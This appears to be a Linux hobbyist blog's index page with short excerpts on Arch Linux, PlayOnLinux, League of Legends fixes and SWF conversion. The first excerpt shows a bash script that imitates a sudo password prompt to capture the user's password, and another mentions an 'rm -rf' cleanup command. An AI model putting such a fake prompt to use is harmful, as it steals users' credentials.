-
Evil Bash Scripts: Sudo Impersonator
[runassudo@NEXUS tmp]$ cat awesomeprogram
… »
#!/bin/bash
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
else
echo "Sorry, try again."
echo -n "[sudo] password for $SUDO_USER: "
read -s tmp
echo ""
echo "PASSWORD IS $tmp"
# Do evil things -
FIX: LoL errors on (PlayOn) Linux
Problem
‘The game has crashed. Please try to reconnect.’ immediately after champion select.Solution
Open /etc/hosts on the host computer in the text editor of your choice.
On the line that resembles:127.0.0.1 localhost.localdomain localhost
add the name of your computer (found in /etc/hostname). For example:… » -
Adventures in Arch: Part 3.5 - Note to Self
Note to self:
mount /dev/sdb2 /opt/chroot/home/is a bad idea
…
rm -rf /opt/chroot -
GUIDE: Convert book-style SWFs to PDFs with gfx2gfx
Hold it right there!
It's been nearly three years since this post, and in those three years, I found the time to write 177 lines of code. Now, with my fork, gfx2gfx-pdftext, you can convert SWFs to PDFs, while preserving the text, resulting in… »
-
Adventures in Arch: Part 3 - What the GNOME?
A Choice
In my previous Adventures in Arch post, I mentioned that I was using XFCE. Because XFCE is cool. However, XFCE got its fame for being a ‘lightweight’ distro, and I had originally chosen it to reduce my CPU load. After noticing, however,… » -
GUIDE: Easier League of Legends Installation Using PlayOnLinux
Preamble
PlayOnLinux is a brilliant wrapper for WINE, allowing for the easy installation of innumerable Windows programs on Linux. Of these, my most recent install was League of Legends, which, of course, does not have a native Linux release. PlayOnLinux installs and runs it… »